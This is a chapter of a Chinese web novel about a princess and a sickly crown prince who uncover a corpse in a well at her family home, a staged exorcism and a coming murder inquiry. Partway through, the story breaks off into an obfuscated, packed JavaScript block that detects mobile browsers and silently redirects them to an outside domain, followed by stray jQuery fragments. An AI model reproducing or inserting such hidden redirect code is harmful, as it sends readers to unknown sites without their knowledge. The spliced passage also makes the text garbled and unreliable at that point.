26. 026

作品:《嫁给病弱太子后

    突如其来的变故让众人都慌了神,屋内烛火摇曳,在墙上投下扭曲的暗影。


    沈立暨与余淑婉得到消息匆匆赶来。


    房中弥漫着令人窒息的死寂,下人们面面相觑,连呼吸都变得小心翼翼。桌上的茶盏早已凉透,水面映出几张惨白的脸。


    “鬼,有鬼魂作祟!”一道嘶哑的喊声划破夜空。


    院外突然传来癫狂的笑声,那声音时高时低,像是被人掐着脖子发出来的。


    “有鬼来收你们啦!哈哈哈!”木栅栏被撞得砰砰作响,“都死!通通都死!”


    众人本就害怕的心瞬间提到了嗓子眼。


    原本平静的沈立暨顿时面露怒意,径直冲到门外,“谁让那疯子出来的!还不赶紧关进去!”


    褚景不动声色地望向院外,在朝堂之上的沈立暨素来享有好脾性的名声,从未见过他这般动怒。


    “这位是?”褚景顺着问道。


    露珠害怕地看了一眼院外,小声道:“这像是莫夫人的胞妹。”


    “胞妹?”褚景眉头更皱了些,“怎么养在沈家?”


    “莫夫人离世后的几天,莫家就让她妹妹就嫁过来了,结果没几日就疯了。”露珠小声说道。


    话还未完,余淑婉忽然回眸,不悦地瞪了露珠一眼,“少在殿下面前嚼舌根!”


    露珠默默噤声,其实这些事她本也不知晓,但常年在府内,偶尔能听见年老的下人们嘀咕此事,自己也就听个热闹。


    “家事,让殿下见笑了。”余淑婉说话时带着笑,但目光却死死勾着外面那个癫狂的身影。


    几个家丁七手八脚地将那疯子拖走,院中骤然安静下来,只剩下绳索摩擦井沿的咯吱声,在雪夜里显得格外刺耳。


    “拉上来了,拉上来了!”有人低声喊道,声音里透着厌恶和恐惧。


    拽绳的男人突然弯下腰干呕起来,脸色煞白,“这大冷天的,尸体都泡发了……”


    “闭嘴!”另一人慌忙打断,喉结滚动着咽了口唾沫,声音发颤,“你忘了那疯子说的话吗?鬼……鬼来索命了!”


    尸体被拖到院中,草草裹着一张破旧的草席。大雪簌簌落下,不一会儿就在席子上积了层薄雪,像是要给这具可怖的尸首覆上最后的体面。


    沈立暨整了整衣襟,神色已恢复如常,转头对秋荷秀吩咐道:“去取些喜钱来,给这些人压压惊。”说完便朝院外走去。


    褚景目光微沉,不动声色地跟了上去。


    “殿下,您……”沈立暨欲言又止。


    褚景恍若未闻,径直走向那具尸体。他忽然俯身,修长的手指一把掀开草席。


    一张肿胀溃烂的脸骤然暴露在众人眼前,皮肤青紫溃烂露出白骨,五官一块块脱落,几乎无法辨认,尸体手腕上的那枚玉镯淬了血迹,看上去透亮光泽。


    “啊!”余淑婉在屋中不禁吓得叫出声,“镯子!真是莫姐姐的镯子!”


    褚景缓缓抬起头,冷冷瞥了她一眼,“近月府上可有人失踪?”


    沈立暨看到那枚玉镯也大惊失色,摇摇头目光却有些迟疑,“想必是没有的。”


    “那便是悬案了?”褚景冷笑一声,“不如请大理寺接手此案?”


    沈立暨眉头紧蹙,“这……大理寺?殿下恕臣直言,此事臣不想声张,毕竟是家事,不想闹得满城沸沸扬扬……”


    褚景笑了笑,“我知道岳丈大人在担心什么,不过是那些旧事罢了,我也略有耳闻……”


    “不过无故死了一个人,这等原因还是要查清的,不如这样,我亲自去请大理寺卿让他派一个人协助调查,如何?”褚景说得诚恳。


    沈立暨眉头松了几分,也不敢再推辞,“既然殿下都出面了,那便依殿下的话。”


    “那先将尸体安置在祠堂,今夜我亲自写信去大理寺。”


    大雪渐渐停了,四周留下一片白,众人将院子收拾干净。余淑婉抱着狐裘小声道:“老爷不如请叶家来看看,我心中实在害怕……”


    沈立暨顿了顿,目光不自觉地看着褚景,“殿下此事……”


    褚景不在意地挑眉,“岳丈大人随意。”


    沈立暨如临大赦,“多谢殿下!”


    —


    意识清醒过来之时,时宁最先闻到的是安神香的气息。


    她缓缓睁开眼,头顶是熟悉的床帐,身上盖着厚厚的锦被,手边还放着温热的手炉。屋内烛火轻晃,将影子投在屏风上,勾勒出一道修长的身影。


    “醒了?”


    低沉的嗓音从屏风后传来,褚景绕过屏风走到床前,玄色衣袍上还沾着雪水,眉宇间凝着一层薄霜。


    时宁下意识攥紧了被角,枯井中那张可怖的脸再次浮现在眼前。她喉咙发紧,“那,那口井里……”


    “已经处理了。”褚景打断她,从袖中取出一物放在枕边,正是那只翡翠镯子,此刻已被擦拭干净,在烛光下泛着温润的光泽,“这是你阿娘的遗物?”


    时宁瞳孔骤缩。


    这是阿娘的遗物没错,但上次归家时明明在旧院的衣柜中见过这枚镯子,又怎么会无故出现在井中?


    “尸体是何人?”时宁惊颤地问道。


    “不知道。”褚景的声音冷静得可怕,“尸体面部都已腐烂,根本分辨不出来。”


    时宁浑身发冷,这肯定不是偶然,是有人精心设计的局!


    可为的是什么呢?


    窗外传来打更声,三更天了。


    褚景忽然俯身,冰凉的指尖触碰到她的脸,“你现在有两个选择。”他的气息拂过苍白的唇,“要么立刻回东宫,当什么都没发生过,要么……”


    “我选第二个。”时宁毫不犹豫地打断他,眼中燃起两簇幽火,“我要知道是谁在装神弄鬼。”


    褚景唇角微勾,这个笑容让他整个人突然鲜活起来,“很好。”


    “殿下。”时宁突然抬起头,“这里危险,不如你明日回宫吧,我一人留在家中查明真相。”


    褚景眉头一皱,不解地看着她。


    烛火啪的一声爆了个灯花,褚景的身影在墙上投下巨大的阴影,他低头看着床上单薄的人儿,忽然伸手拂去她额前碎发。


    “我对此事也很好奇。”


    窗外,雪又开始下了。


    叶家来时已是深夜,院中的雪已经厚厚积了一层,走过时留下一串脚印。


    今夜来的人是叶期和他的兄长叶长闵,叶长闵排行老三,说话做事稳重踏实,只是心思不在钦天监。


    “沈相!”两人相互作揖喊道。


    沈墨与沈时珞不知何时也出现在了身后,正并排站在檐下看着这一幕。


    时宁也走下了床,肩上搭着褚景的狐裘,目不转睛地看着院中的几人。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091853|174969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    叶期穿得依旧单薄,抬眼朝着四周环视一圈,沈立暨快步上前,低声道:“今日之事还请贤侄保密,在你幼时曾随叶老来处理过此事,不知可有印象?”


    叶期淡淡一笑,“那时年幼实在记不得了。”


    沈立暨有些难堪,简单将事情说明。


    叶长闵点了点头,没有多问,随即从叶家下人手中接过串着铃铛的红绳,北风吹过长绳,铃铛发出尖锐刺耳的声音。


    他嘴中念着听不懂的符咒,背后掏出一把桃木剑狠狠插入井中,顿时四周诡异而安静,连铃铛声都消逝。


    众人屏气凝神,只见那把桃木剑从井中飞出,直直插入雪地,留下一抹褐色血迹。众人被眼前这一幕吓得不轻,余淑婉抱着秋荷秀的手臂连退好几步。


    “这……这是何意?”沈立暨颤颤巍巍上前。


    叶期上前一步,笑道:“沈伯父,恐是邪灵作祟呀。”


    众人倒吸一口凉气,站在檐下的时宁身子一颤,肩上狐裘悄然滑落。


    叶期的目光落在她的脸上,嘴角露出一抹明朗的微笑,朝着她挑了挑眉,正准备开口说话,却被暗处走出的褚景打断。


    褚景从檐下走出,整个身子将时宁挡得严严实实,目光冷冷地望着叶期。


    叶期眉间一皱,却又立马舒展,恭敬地行了个礼。


    褚景如愿以偿地颔首,看着地上那摊褐色的血迹,嘴角勾起一抹冷笑。


    叶家捉弄人的把戏真是多。


    时宁明显被吓一跳,站在褚景身后脚步都僵了。


    褚景冷笑一声,“你不会真以为是邪灵作祟吧?”


    时宁顿了顿,还没有从方才的迹象中缓过神来,“我……我确实不知,那褐色血迹从何而来?”


    “你瞧那桃木剑,手柄与剑身是分开的,褐色血迹不过是藏在剑身里罢了。”


    时宁定眼瞧了瞧,“竟是如此吗?”


    褚景不以为然地点头,“不然你真以为钦天监能观天象同鬼神与神明说话?不过是他们的把戏罢了。”


    “那你怎会知晓这些?”时宁问道。


    “我从前有一位故友在钦天监打杂。”


    时宁:不想回答可以不回答,真是好敷衍的答案……


    叶家二子一套动作下来行云流水。


    沈立暨看着二人准备解下红绳,急忙问道:“如何?”


    叶期笑了笑,“沈伯父,是个女子。”


    沈立暨心中一震,难道莫娘又出现了?


    “那可有机会劝阻?”他顿了几秒,“让她莫要残害无辜之人?”


    叶期笑了笑,“邪灵作祟皆是有冤,伯父倒不如查查她是何冤屈,查明她自然就消失了。”


    沈立暨眉头紧锁,“冤?莫娘死于疾病,难不成是在怪我将宁儿弄丢?”


    褚景不耐地上前一步,“或许她不是死于疾病呢?”


    黑暗中,褚景的目光与时宁交汇,两人之间的那堵隔墙似乎正在慢慢消失。


    大理寺派人来时,已是第二日午间,来的人吊儿郎当,不像干正事的。


    那人眉清目秀,腰上系着一个酒壶,走哪都要喝上几口。


    刚进入府上的第一句话便是:“还有饭吗?我真的好饿。”


    第二句是:“我叫卿棺,棺材的棺。”


    真是好奇怪,谁会取个这种名字。